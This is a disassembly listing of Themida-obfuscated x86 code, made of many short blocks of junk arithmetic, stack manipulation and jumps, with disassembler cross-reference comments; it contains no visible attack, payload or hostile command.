loc_5A8A73: ; CODE XREF: Themida_:0059711Fj
add ebx, 4
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_599C31
; ---------------------------------------------------------------------------
loc_5A8A8A: ; CODE XREF: Themida_:0059C681j
mov ecx, 4720448Dh
jmp loc_5A2EEB
; ---------------------------------------------------------------------------
loc_5A8A94: ; CODE XREF: Themida_:005A4F07j
push edi
mov edi, 4
sub esi, 51B151CCh
add esi, edi
add esi, 51B151CCh
jmp loc_59D4FF
; ---------------------------------------------------------------------------
loc_5A8AAD: ; CODE XREF: Themida_:005A4FC8j
add esp, 4
xor eax, ebx
pop ebx
xor ebx, eax
mov dx, [esp]
jmp loc_5A3636
; ---------------------------------------------------------------------------
loc_5A8AC1: ; CODE XREF: Themida_:0059E181j
inc dh
jmp loc_5A98F2
; ---------------------------------------------------------------------------
loc_5A8AC8: ; CODE XREF: Themida_:00598293j
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5AA4C7
; ---------------------------------------------------------------------------
loc_5A8AD7: ; CODE XREF: Themida_:0059FDCDj
push dword ptr [esp]
jmp loc_5A43A4
; ---------------------------------------------------------------------------
loc_5A8ADF: ; CODE XREF: Themida_:005A8597j
add ebx, 131679E9h
add ebx, edx
sub ebx, 131679E9h
jmp loc_598EB4
; ---------------------------------------------------------------------------
loc_5A8AF2: ; CODE XREF: Themida_:0059EC2Bj
pop ecx
add esi, 5F4C2C9Dh
shr esi, 8
xor esi, 3EB52124h
jmp loc_5AA885
; ---------------------------------------------------------------------------
loc_5A8B07: ; CODE XREF: Themida_:005A6B50j
mov edi, ebp
jmp loc_5984C7
; ---------------------------------------------------------------------------
loc_5A8B0E: ; CODE XREF: Themida_:0059CB98j
pop dx
sub dx, 506Ch
jmp loc_5A51ED
; ---------------------------------------------------------------------------
loc_5A8B1A: ; CODE XREF: Themida_:005A630Cj
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_5A3D66
; ---------------------------------------------------------------------------
loc_5A8B2E: ; CODE XREF: Themida_:005A90ADj
mov [esp], edx
jmp loc_59D305
; ---------------------------------------------------------------------------
mov ax, [esp]
push 5B4Ch
mov [esp], edi
push 50Bh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_5A29BA
; ---------------------------------------------------------------------------
loc_5A8B57: ; CODE XREF: Themida_:00595F58j
mov edi, 290F7C68h
xor edi, 290F7C6Ch
add ecx, edi
pop edi
push ebp
push ebx
mov ebx, 33150784h
mov ebp, 0CCEAF880h
add ebp, ebx
mov ebx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_5A1FD4
; ---------------------------------------------------------------------------
lodsd
push 19BAh
mov [esp], ebp
jmp loc_5A7CB5
; ---------------------------------------------------------------------------
loc_5A8B9C: ; CODE XREF: Themida_:005967EDj
xor ebx, [esp]
mov esp, [esp]
jmp loc_59B9BB
; ---------------------------------------------------------------------------
loc_5A8BA7: ; CODE XREF: Themida_:0059EE90j
pop ecx
or eax, eax
jz loc_59C030
push dword ptr [edi+28h]
push dword ptr [esp]
jmp loc_5A0EEB
; ---------------------------------------------------------------------------
loc_5A8BBB: ; CODE XREF: Themida_:005A3132j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], ebx
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5A2D65
; ---------------------------------------------------------------------------
loc_5A8BE2: ; CODE XREF: Themida_:0059F405j
xor ebp, 1EC81583h
add esi, ebp
pop ebp
jmp loc_59C1E8
; ---------------------------------------------------------------------------
loc_5A8BF0: ; CODE XREF: Themida_:005A4DD8j
sub esp, 4
jmp loc_5974D7
; ---------------------------------------------------------------------------
loc_5A8BFB: ; CODE XREF: Themida_:005A3E37j
sub edi, esi
jmp loc_59DCEE
; ---------------------------------------------------------------------------
loc_5A8C02: ; CODE XREF: Themida_:005A3BA6j
mov esi, 4264507Ch
jmp loc_5A05B9
; ---------------------------------------------------------------------------
loc_5A8C0C: ; CODE XREF: Themida_:005A6686j
and eax, ebp
jmp loc_597345
; ---------------------------------------------------------------------------
loc_5A8C13: ; CODE XREF: Themida_:005A3362j
add esi, 4
xchg esi, [esp]
jmp loc_59DA7F
; ---------------------------------------------------------------------------
loc_5A8C1E: ; CODE XREF: Themida_:005AAC44j
mov ebp, 2FB05FFEh
dec ebp
push ebx
mov ebx, 3C5955A9h
and ebp, ebx
jmp loc_59B938
; ---------------------------------------------------------------------------
loc_5A8C31: ; CODE XREF: Themida_:00599A66j
pop ecx
add ebx, ebp
pop ebp
push edx
jmp loc_5A1539
; ---------------------------------------------------------------------------
loc_5A8C3B: ; CODE XREF: Themida_:0059EB1Dj
mov eax, 4BEC3116h
and ebp, eax
pop eax
xor ebp, 489B7A0Fh
xor eax, ebp
pop ebp
push edx
jmp loc_59C055
; ---------------------------------------------------------------------------
loc_5A8C52: ; CODE XREF: Themida_:00596F07j
mov ecx, 20h
push edx
jmp loc_5998B3
; ---------------------------------------------------------------------------
loc_5A8C5D: ; CODE XREF: Themida_:005A1CECj
add esp, 4
jmp loc_5A9868
; ---------------------------------------------------------------------------
loc_5A8C68: ; CODE XREF: Themida_:0059F944j
sub esp, 4
mov [esp], edi
mov edi, 2
jmp loc_5AAAE1
; ---------------------------------------------------------------------------
loc_5A8C7B: ; CODE XREF: Themida_:005994F6j
xchg ecx, [esp]
pop esp
mov [esp], esi
mov esi, esp
jmp loc_5A8E9D
; ---------------------------------------------------------------------------
loc_5A8C89: ; CODE XREF: Themida_:00597838j
pop esp
jmp loc_5A5CCC
; ---------------------------------------------------------------------------
loc_5A8C8F: ; CODE XREF: Themida_:005A8A07j
push ecx
mov ecx, 7E016E1Fh
or edi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5A5306
; ---------------------------------------------------------------------------
loc_5A8CA5: ; CODE XREF: Themida_:005A8FBDj
mov eax, ebx
push eax
sub dword ptr [esp], 599E7429h
pop ebp
add ebp, 599E7429h
pop eax
jmp loc_59F688
; ---------------------------------------------------------------------------
loc_5A8CBC: ; CODE XREF: Themida_:0059EFACj
and esi, 3C057B49h
add esi, 116109F0h
shl esi, 3
neg esi
inc esi
push ecx
jmp loc_5AACEE
; ---------------------------------------------------------------------------
loc_5A8CD4: ; CODE XREF: Themida_:00597A36j
sub esp, 4
mov [esp], eax
push esp
mov eax, [esp]
push eax
jmp loc_5A5379
; ---------------------------------------------------------------------------
loc_5A8CE4: ; CODE XREF: Themida_:005A88C2j
xor ebx, [esp]
pop esp
mov ecx, edx
push dword ptr [esp]
pop edx
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push esi
mov esi, 456D3D89h
sub esp, 4
mov [esp], esi
sub dword ptr [esp], 68921C6Fh
mov ebx, [esp]
add esp, 4
jmp loc_5A417C
; ---------------------------------------------------------------------------
loc_5A8D1F: ; CODE XREF: Themida_:0059601Dj
mov esi, 91451B5h
not esi
xor esi, 0CC24A25Bh
mov ebx, esi
pop esi
shr ebx, 5
jmp loc_5AAA12
; ---------------------------------------------------------------------------
loc_5A8D37: ; CODE XREF: Themida_:005A96ECj
add esp, 4
push edx
mov edx, 30583F3Ah
push edx
jmp loc_5A31B0
; ---------------------------------------------------------------------------
loc_5A8D46: ; CODE XREF: Themida_:005AAC3Cj
mov cx, [esp]
push edx
jmp loc_5AB110
; ---------------------------------------------------------------------------
loc_5A8D50: ; CODE XREF: Themida_:005A4011j
not bh
jmp loc_598E03
; ---------------------------------------------------------------------------
loc_5A8D57: ; CODE XREF: Themida_:005A7254j
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
push 77D3h
mov [esp], ebx
mov ebx, 1CC90F94h
add dword ptr [esp+4], 70184815h
jmp loc_5A367D
; ---------------------------------------------------------------------------
loc_5A8D82: ; CODE XREF: Themida_:0059E5A1j
mov [esp], edx
push 6738h
mov [esp], ecx
mov ch, 84h
sub esp, 4
mov [esp], ebx
jmp loc_59D196
; ---------------------------------------------------------------------------
loc_5A8D9D: ; CODE XREF: Themida_:00597F1Bj
mov edx, 4
sub dword ptr [esp+4], 6C682557h
jmp loc_5AA9B2
; ---------------------------------------------------------------------------
loc_5A8DAF: ; CODE XREF: Themida_:0059EA38j
add ebp, 4
sub ebp, 4
jmp loc_59E446
; ---------------------------------------------------------------------------
loc_5A8DC0: ; CODE XREF: Themida_:005A9743j
mov [esp], esp
add dword ptr [esp], 4
pop edi
add edi, 4
push ecx
mov ecx, esp
jmp loc_5A850E
; ---------------------------------------------------------------------------
loc_5A8DD6: ; CODE XREF: Themida_:005AAB3Ej
pop eax
push 688Bh
mov [esp], ebx
jmp loc_5A7C6A
; ---------------------------------------------------------------------------
loc_5A8DE4: ; CODE XREF: Themida_:0059D294j
add bl, dh
pop dx
jmp loc_599ABE
; ---------------------------------------------------------------------------
loc_5A8DED: ; CODE XREF: Themida_:005A7B2Ej
pop ebp
add eax, ebx
pop ebx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov cx, [esp]
push 5DF4h
mov [esp], eax
push esp
pop eax
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_5A3F71
; ---------------------------------------------------------------------------
loc_5A8E24: ; CODE XREF: Themida_:005A56ECj
push edx
mov edx, 62D41315h
jmp loc_599314
; ---------------------------------------------------------------------------
loc_5A8E2F: ; CODE XREF: Themida_:0059CB6Cj
mov [esp], eax
jmp loc_5A437E
; ---------------------------------------------------------------------------
loc_5A8E37: ; CODE XREF: Themida_:0059B04Cj
push edx
push eax
mov al, bl
jmp loc_5A5EA8
; ---------------------------------------------------------------------------
loc_5A8E40: ; CODE XREF: Themida_:0059A21Cj
xor ecx, 261A06B6h
dec ecx
jmp loc_5A7BBE
; ---------------------------------------------------------------------------
loc_5A8E4C: ; CODE XREF: Themida_:0059C833j
mov [esp], esi
sub esp, 4
mov [esp], esp
sub esp, 4
mov [esp], edx
mov edx, 4
add [esp+4], edx
jmp loc_5A5BB9
; ---------------------------------------------------------------------------
loc_5A8E6F: ; CODE XREF: Themida_:005A1A99j
mov eax, esp
push ebp
jmp loc_5A321D
; ---------------------------------------------------------------------------
mov cx, [esp]
push 54CFh
mov [esp], ebx
sub esp, 4
push eax
mov eax, esp
add eax, 4
jmp loc_5A37AC
; ---------------------------------------------------------------------------
loc_5A8E93: ; CODE XREF: Themida_:0059B4E8j
push 6DE0h
jmp loc_59BB95
; ---------------------------------------------------------------------------
loc_5A8E9D: ; CODE XREF: Themida_:005A8C84j
push ecx
push 55FF66A6h
pop ecx
sub ecx, 1
add ecx, 0AA00995Fh
add esi, ecx
jmp loc_596608
; ---------------------------------------------------------------------------
loc_5A8EB4: ; CODE XREF: Themida_:005A7FF2j
movzx cx, al
push cx
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A8EC0: ; CODE XREF: Themida_:005A3536j
mov [esp], esi
push esp
mov esi, [esp]
jmp loc_59D50D
; ---------------------------------------------------------------------------
loc_5A8ECC: ; CODE XREF: Themida_:0059DA19j
dec cl
shl cl, 3
jmp loc_5A2225
; ---------------------------------------------------------------------------
loc_5A8ED6: ; CODE XREF: Themida_:005A09BEj
push edi
mov edi, 36D779D9h
jmp loc_5A7E03
; ---------------------------------------------------------------------------
loc_5A8EE1: ; CODE XREF: Themida_:0059FAA5j
add ebp, edi
mov edi, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
jmp loc_598A7A
; ---------------------------------------------------------------------------
loc_5A8EF6: ; CODE XREF: Themida_:005960CAj
or ecx, 7EE67130h
jmp loc_5A6211
; ---------------------------------------------------------------------------
loc_5A8F01: ; CODE XREF: Themida_:005AA492j
add esp, 4
sub esp, 4
mov [esp], ebp
jmp loc_59FF53
; ---------------------------------------------------------------------------
loc_5A8F0F: ; CODE XREF: Themida_:0059953Bj
add esp, 4
add bl, 5Ch
push 6A9Fh
mov [esp], edx
push eax
push ecx
mov cl, 0E8h
shl cl, 8
xor cl, 9
add cl, 0FFh
add cl, 38h
mov ah, cl
pop ecx
mov dl, 7Dh
xor dl, ah
pop eax
jmp loc_5A0AB6
; ---------------------------------------------------------------------------
loc_5A8F3D: ; CODE XREF: Themida_:0059A46Cj
push esi
jmp loc_5A75C6
; ---------------------------------------------------------------------------
loc_5A8F43: ; CODE XREF: Themida_:005A130Dj
push eax
jmp loc_5A281E
; ---------------------------------------------------------------------------
loc_5A8F49: ; CODE XREF: Themida_:005A9BFAj
add esp, 4
sub ebp, 51BF376Fh
shr ebp, 5
jmp loc_596A3E
; ---------------------------------------------------------------------------
loc_5A8F5A: ; CODE XREF: Themida_:0059798Ej
mov ebp, 27707BFBh
jmp loc_59BC0D
; ---------------------------------------------------------------------------
loc_5A8F64: ; CODE XREF: Themida_:00597147j
xchg ebp, ebx
neg ebp
xor ebx, ebp
xor ebp, ebx
xor ebx, ebp
add ebx, 1E9149Fh
and ebx, 62C316DAh
and ebx, 2D19768Eh
inc ebx
jmp loc_5A4DB8
; ---------------------------------------------------------------------------
loc_5A8F86: ; CODE XREF: Themida_:005A6D39j
not esi
not esi
inc esi
and esi, 54F07814h
sub esi, 3718B8h
and ebx, esi
jmp loc_59AEBE
; ---------------------------------------------------------------------------
loc_5A8F9E: ; CODE XREF: Themida_:005AA80Fj
xor esi, 39404A67h
add esi, 95B7523Ch
add edx, esi
pop esi
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_5A793C
; ---------------------------------------------------------------------------
loc_5A8FBC: ; CODE XREF: Themida_:005A995Ej
push eax
jmp loc_5A8CA5
; ---------------------------------------------------------------------------
loc_5A8FC2: ; CODE XREF: Themida_:00599632j
push 5AFDh
mov [esp], eax
mov eax, 19EC1981h
push ebp
mov ebp, 0C9A7602h
not ebp
add ebp, 8B59859Eh
sub eax, ebp
pop ebp
jmp loc_5A04CA
; ---------------------------------------------------------------------------
loc_5A8FE5: ; CODE XREF: Themida_:005A0C6Aj
mov edi, 35515220h
not edi
xor edi, 6F734D58h
or edi, 5D8F55D7h
sub edi, 295B30D5h
push edx
mov edx, 26530E02h
inc edx
jmp loc_5A905E
; ---------------------------------------------------------------------------
loc_5A900A: ; CODE XREF: Themida_:0059908Bj
xor ebp, 17F46E74h
add ebx, 6E6C24F5h
add ebx, ebp
push 0C34h
mov [esp], ecx
mov ecx, 6E6C24F5h
jmp loc_5A02E1
; ---------------------------------------------------------------------------
loc_5A902A: ; CODE XREF: Themida_:00599C5Bj
mov ebp, esp
jmp loc_59F5C1
; ---------------------------------------------------------------------------
loc_5A9031: ; CODE XREF: Themida_:005A853Fj
mov esi, 1CB8F7h
xor edx, esi
pop esi
mov ecx, edx
mov edx, [esp]
push eax
jmp loc_5A43AA
; ---------------------------------------------------------------------------
loc_5A9044: ; CODE XREF: Themida_:005990C1j
sub ax, dx
add ax, 6FE7h
mov edx, [esp]
add esp, 4
push 5040h
mov [esp], edi
jmp loc_596763
; ---------------------------------------------------------------------------
loc_5A905E: ; CODE XREF: Themida_:005A9005j
sub edx, 34881B13h
shr edx, 8
not edx
xor edx, 2E840288h
xor edx, 0FAF0F3CAh
xor edi, edx
pop edx
jmp loc_59A859
; ---------------------------------------------------------------------------
loc_5A907D: ; CODE XREF: Themida_:005A1846j
or ebx, 1D3A66FDh
shr ebx, 4
jmp loc_5A3A32
; ---------------------------------------------------------------------------
loc_5A908B: ; CODE XREF: Themida_:0059D488j
sub eax, 4
push eax
push dword ptr [esp+4]
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
pop dword ptr [esp]
pop esp
jmp loc_5A8B2E
; ---------------------------------------------------------------------------
loc_5A90B2: ; CODE XREF: Themida_:005A3A3Aj
pop ecx
sub ebx, 20C92BFAh
sub ebx, 0D8DD39B9h
sub eax, ebx
mov ebx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_59E1A8
; ---------------------------------------------------------------------------
loc_5A90D5: ; CODE XREF: Themida_:0059DA71j
pop edx
pop dword ptr [esp]
pop esp
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
movzx ecx, ax
push ecx
push esp
mov ecx, [esp]
push edx
jmp loc_5A5A68
; ---------------------------------------------------------------------------
loc_5A90F2: ; CODE XREF: Themida_:0059D75Aj
xor [esp], esi
xor esi, [esp]
pop esp
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5A59DF
; ---------------------------------------------------------------------------
loc_5A9107: ; CODE XREF: Themida_:00596CC1j
push esp
jmp loc_59691C
; ---------------------------------------------------------------------------
loc_5A910D: ; CODE XREF: Themida_:0059D840j
mov ecx, 4
add [esp+4], ecx
pop ecx
pop ecx
push edx
mov edx, 7C8C409Bh
sub edx, 56377723h
dec edx
add edx, 0D9AB368Dh
add ecx, edx
pop edx
add ecx, 4
xor ecx, [esp]
jmp loc_59F676
; ---------------------------------------------------------------------------
loc_5A913C: ; CODE XREF: Themida_:005991A9j
xor edi, 718A05C5h
mov esi, edi
pop edi
sub esi, ebx
jmp loc_5A696D
; ---------------------------------------------------------------------------
loc_5A914C: ; CODE XREF: Themida_:0059CE0Fj
push 4EF3h
mov [esp], ecx
mov ecx, 3A02743Dh
shr ecx, 2
not ecx
neg ecx
or ecx, 8CE7878h
sub ecx, 0ECEFD74h
add esi, ecx
jmp loc_59F551
; ---------------------------------------------------------------------------
loc_5A9173: ; CODE XREF: Themida_:0059E850j
add ecx, 4
sub ecx, 4
jmp loc_597B3B
; ---------------------------------------------------------------------------
loc_5A9181: ; CODE XREF: Themida_:005A7DA9j
push esi
mov esi, ebp
mov ebx, esi
pop esi
pop ebp
mov edi, [esp]
push eax
jmp loc_59732A
; ---------------------------------------------------------------------------
loc_5A9191: ; CODE XREF: Themida_:005982DAj
dec esi
and esi, 34864B09h
dec esi
xor esi, 10844B05h
add ebp, esi
pop esi
push 684Fh
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
ror dword ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A91C3: ; CODE XREF: Themida_:005A440Aj
add eax, edx
pop edx
sub esp, 4
mov [esp], esi
push ecx
jmp loc_5A3988
; ---------------------------------------------------------------------------
loc_5A91D2: ; CODE XREF: Themida_:005A4C50j
sub dword ptr [esp+4], 43A5300Ah
add [esp+4], ebx
add dword ptr [esp+4], 43A5300Ah
pop ebx
mov edx, [esp]
add esp, 4
push ebp
mov ebp, 4
jmp loc_59B73B
; ---------------------------------------------------------------------------
loc_5A91F8: ; CODE XREF: Themida_:005A2E74j
add edx, edi
add edx, 67E04B38h
mov edi, [esp]
jmp loc_5A762D
; ---------------------------------------------------------------------------
loc_5A9208: ; CODE XREF: Themida_:005A1CA0j
pop esp
push edi
mov edi, esp
add edi, 4
push 11A2h
mov [esp], edx
push 4
push dword ptr [esp]
pop edx
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add edi, edx
mov edx, [esp]
sub esp, 4
mov [esp], ebx
push esp
jmp loc_598D97
; ---------------------------------------------------------------------------
loc_5A9247: ; CODE XREF: Themida_:0059FD1Ej
add ecx, 9408020Dh
add edx, ecx
pop ecx
xchg edx, [esp]
mov esp, [esp]
jmp loc_5A4075
; ---------------------------------------------------------------------------
loc_5A925B: ; CODE XREF: Themida_:005AAA9Dj
pop ebx
or ecx, edx
mov edx, [esp]
push ebp
mov ebp, esp
jmp loc_5AABDD
; ---------------------------------------------------------------------------
loc_5A9269: ; CODE XREF: Themida_:005A099Cj
push 538h
jmp loc_59791B
; ---------------------------------------------------------------------------
loc_5A9273: ; CODE XREF: Themida_:005A3F0Aj
pop ebp
pop ecx
push ebp
push 2315h
mov [esp], edi
pop ebp
jmp loc_5A67BA
; ---------------------------------------------------------------------------
loc_5A9284: ; CODE XREF: Themida_:00597039j
push 25B1h
mov [esp], ebx
push 6B7Bh
jmp loc_598E0D
; ---------------------------------------------------------------------------
mov ax, [esp]
push 7867h
mov [esp], eax
push esp
pop eax
sub esp, 4
mov [esp], ebx
mov ebx, 4
sub eax, 4A811B66h
sub eax, 0D2051F2h
jmp loc_598191
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A92CC: ; CODE XREF: Themida_:005A6CEEj
add eax, 4
xor eax, [esp]
jmp loc_59F6E0
; ---------------------------------------------------------------------------
loc_5A92D9: ; CODE XREF: Themida_:005AA433j
sub ebx, 3D436CC1h
add ebx, edi
add ebx, 3D436CC1h
mov edi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_596CD8
; ---------------------------------------------------------------------------
loc_5A92FA: ; CODE XREF: Themida_:005A2A77j
pop edx
add ebp, 7F19784Eh
jmp loc_59E8B8
; ---------------------------------------------------------------------------
loc_5A9306: ; CODE XREF: Themida_:005A0AF9j
pop ebx
mov eax, [esp]
add esp, 4
pop ecx
xor al, dh
jmp loc_59B8AC
; ---------------------------------------------------------------------------
loc_5A9315: ; CODE XREF: Themida_:0059CDAEj
pop esp
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
sub esp, 4
mov [esp], edx
jmp loc_5AA0D2
; ---------------------------------------------------------------------------
loc_5A9333: ; CODE XREF: Themida_:0059B291j
add dword ptr [esp], 4
pop ebp
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], edi
jmp loc_598CDF
; ---------------------------------------------------------------------------
loc_5A9358: ; CODE XREF: Themida_:00598379j
add edx, 0FFFFFFFFh
shl edx, 3
jmp loc_59AA53
; ---------------------------------------------------------------------------
loc_5A9363: ; CODE XREF: Themida_:0059F2D0j
add esp, [edx+38h]
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebp
jmp loc_5A9A3C
; ---------------------------------------------------------------------------
loc_5A937E: ; CODE XREF: Themida_:00598668j
pop ecx
add edi, esi
pop esi
jmp loc_59C493
; ---------------------------------------------------------------------------
loc_5A9387: ; CODE XREF: Themida_:00596649j
mov ebx, [esp]
push ebx
jmp loc_59F866
; ---------------------------------------------------------------------------
loc_5A9390: ; CODE XREF: Themida_:005A6CCEj
mov esi, 0DAF3CB62h
xor edi, esi
pop esi
shl edi, 7
push 5498h
jmp loc_59AE1A
; ---------------------------------------------------------------------------
loc_5A93A5: ; CODE XREF: Themida_:005A2BC4j
lea eax, [edi+eax*4]
push 590Eh
mov [esp], esi
mov esi, esp
sub esp, 4
mov [esp], eax
mov eax, 250E5E09h
jmp loc_5A588B
; ---------------------------------------------------------------------------
loc_5A93C2: ; CODE XREF: Themida_:0059F7F3j
xor ebp, 0FAD82F29h
push edx
push edi
push esi
jmp loc_5A96FE
; ---------------------------------------------------------------------------
loc_5A93D0: ; CODE XREF: Themida_:0059799Dj
mov edx, 4
add eax, edx
pop edx
add eax, 4
xchg eax, [esp]
pop esp
push dword ptr [esp]
mov ebp, [esp]
push ebx
jmp loc_5A1728
; ---------------------------------------------------------------------------
loc_5A93ED: ; CODE XREF: Themida_:00598860j
xor [esp], ebp
jmp loc_5A4218
; ---------------------------------------------------------------------------
loc_5A93F5: ; CODE XREF: Themida_:00596096j
inc eax
jmp loc_5AAD15
; ---------------------------------------------------------------------------
loc_5A93FB: ; CODE XREF: Themida_:005A2FB7j
mov esp, [esp]
mov [esp], esi
jmp loc_5A82A1
; ---------------------------------------------------------------------------
loc_5A9406: ; CODE XREF: Themida_:005A1074j
add esp, 4
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_59DA38
; ---------------------------------------------------------------------------
loc_5A941D: ; CODE XREF: Themida_:0059D63Ej
mov [esp], esi
jmp loc_5A08D1
; ---------------------------------------------------------------------------
loc_5A9425: ; CODE XREF: Themida_:0059C9C4j
add edx, edi
pop edi
xchg edx, [esp]
pop esp
dec ecx
jmp loc_5A4AE8
; ---------------------------------------------------------------------------
loc_5A9432: ; CODE XREF: Themida_:0059ACD5j
pop esp
jmp loc_59BE4C
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push eax
jmp loc_596F2E
; ---------------------------------------------------------------------------
loc_5A9441: ; CODE XREF: Themida_:0059D833j
add ebp, edx
sub ebp, 666F246Ah
jmp loc_5A65CE
; ---------------------------------------------------------------------------
loc_5A944E: ; CODE XREF: Themida_:00596CF1j
or ebp, 48F5273Eh
jmp loc_59E406
; ---------------------------------------------------------------------------
loc_5A9459: ; CODE XREF: Themida_:005985A0j
sub ebx, ecx
pop ecx
add ebx, 0D545BCAh
add ebx, 65F215E0h
add ebx, eax
sub ebx, 65F215E0h
jmp loc_59B80D
; ---------------------------------------------------------------------------
loc_5A9475: ; CODE XREF: Themida_:0059C4E0j
xor esi, 43117584h
jmp loc_5A3CE9
; ---------------------------------------------------------------------------
loc_5A9480: ; CODE XREF: Themida_:005A26BDj
mov bl, dh
pop edx
jmp loc_5AB4DD
; ---------------------------------------------------------------------------
loc_5A9488: ; CODE XREF: Themida_:005960B1j
push esi
mov esi, 0
sub esi, 2ABF73E6h
sub esi, edi
jmp loc_5A9708
; ---------------------------------------------------------------------------
loc_5A949B: ; CODE XREF: Themida_:005A7457j
add esi, 4
push esi
jmp loc_599177
; ---------------------------------------------------------------------------
loc_5A94A7: ; CODE XREF: Themida_:00597956j
shl edx, 1
jmp loc_59DB68
; ---------------------------------------------------------------------------
loc_5A94AE: ; CODE XREF: Themida_:00597C10j
mov dx, [esp]
push 4BBAh
mov [esp], esi
mov esi, esp
jmp loc_5A5781
; ---------------------------------------------------------------------------
loc_5A94C1: ; CODE XREF: Themida_:0059BC29j
pop edi
add edi, 71A15778h
mov ebp, [esp]
add esp, 4
inc edi
push ebx
mov ebx, 784E0694h
or edi, ebx
pop ebx
push ecx
mov ecx, 389867C6h
jmp loc_5A9642
; ---------------------------------------------------------------------------
loc_5A94E6: ; CODE XREF: Themida_:005A7049j
pop ecx
shl dl, 5
jmp loc_5A1C0D
; ---------------------------------------------------------------------------
loc_5A94EF: ; CODE XREF: Themida_:0059B482j
pop ebp
xchg ebx, [esp]
pop esp
jmp loc_5A6FDD
; ---------------------------------------------------------------------------
loc_5A94F9: ; CODE XREF: Themida_:0059C82Bj
push 74FDh
mov [esp], ecx
push 7CB2h
push esp
pop dword ptr [esp]
jmp loc_597F1A
; ---------------------------------------------------------------------------
loc_5A950F: ; CODE XREF: Themida_:005A4ED5j
pop eax
add edi, esi
pop esi
jmp loc_5A555E
; ---------------------------------------------------------------------------
loc_5A9518: ; CODE XREF: Themida_:005A713Bj
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A59D6
; ---------------------------------------------------------------------------
loc_5A9523: ; CODE XREF: Themida_:0059B9E1j
xchg edi, [esp]
pop esp
shr edi, 2
add edi, 1
inc edi
neg edi
add edi, 846E403Fh
jmp loc_5973EA
; ---------------------------------------------------------------------------
loc_5A953E: ; CODE XREF: Themida_:005AB428j
push edi
mov edi, esp
add edi, 4
jmp loc_59C20F
; ---------------------------------------------------------------------------
loc_5A954C: ; CODE XREF: Themida_:0059C5CEj
or eax, edx
pop edx
jmp loc_5A5B47
; ---------------------------------------------------------------------------
loc_5A9554: ; CODE XREF: Themida_:005A7C65j
xor edx, 0AF00750h
pop esi
and edx, 15471F7h
not edx
sub edx, 0FEBB9F54h
add ebp, edx
pop edx
jmp loc_5A6913
; ---------------------------------------------------------------------------
loc_5A9571: ; CODE XREF: Themida_:005A6DF8j
sub eax, 3A867572h
pop ecx
jmp loc_5A6A10
; ---------------------------------------------------------------------------
loc_5A957C: ; CODE XREF: Themida_:0059B079j
pop esi
or esi, 6F444DF3h
sub esi, 13E721CCh
add esi, 9477A3D9h
jmp loc_59B5D9
; ---------------------------------------------------------------------------
loc_5A9594: ; CODE XREF: Themida_:005A63A5j
xor ebp, 56EF25CFh
mov eax, ebp
mov ebp, [esp]
jmp loc_5A3622
; ---------------------------------------------------------------------------
loc_5A95A4: ; CODE XREF: Themida_:005A711Fj
push ecx
mov ecx, esp
jmp loc_597272
; ---------------------------------------------------------------------------
loc_5A95AC: ; CODE XREF: Themida_:005965C3j
sub edi, edx
pop edx
pop esi
mov ebx, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
jmp loc_5A6E94
; ---------------------------------------------------------------------------
loc_5A95C8: ; CODE XREF: Themida_:005A42FFj
mov esi, 49BD0785h
sub esi, 0D8895616h
add ecx, esi
mov esi, [esp]
add esp, 4
sub eax, ecx
pop ecx
add eax, ebx
jmp loc_59C2C7
; ---------------------------------------------------------------------------
loc_5A95E8: ; CODE XREF: Themida_:005A3958j
pop ebp
xor ebp, 68560CB8h
mov ebx, ebp
mov ebp, [esp]
add esp, 4
add edx, 1FC1BE3h
add edx, ebx
jmp loc_59E3EB
; ---------------------------------------------------------------------------
loc_5A9604: ; CODE XREF: Themida_:005A7691j
mov dl, 20h
xor dl, ch
pop ecx
add ah, dl
pop edx
add dl, 76h
sub dl, ah
jmp loc_5AA90D
; ---------------------------------------------------------------------------
loc_5A9616: ; CODE XREF: Themida_:0059FF4Ej
pop eax
jmp loc_5A7EDC
; ---------------------------------------------------------------------------
loc_5A961C: ; CODE XREF: Themida_:0059A7EEj
push 2859h
mov [esp], ebp
mov ebp, 3F5B323Fh
push ebp
jmp loc_5A2EC3
; ---------------------------------------------------------------------------
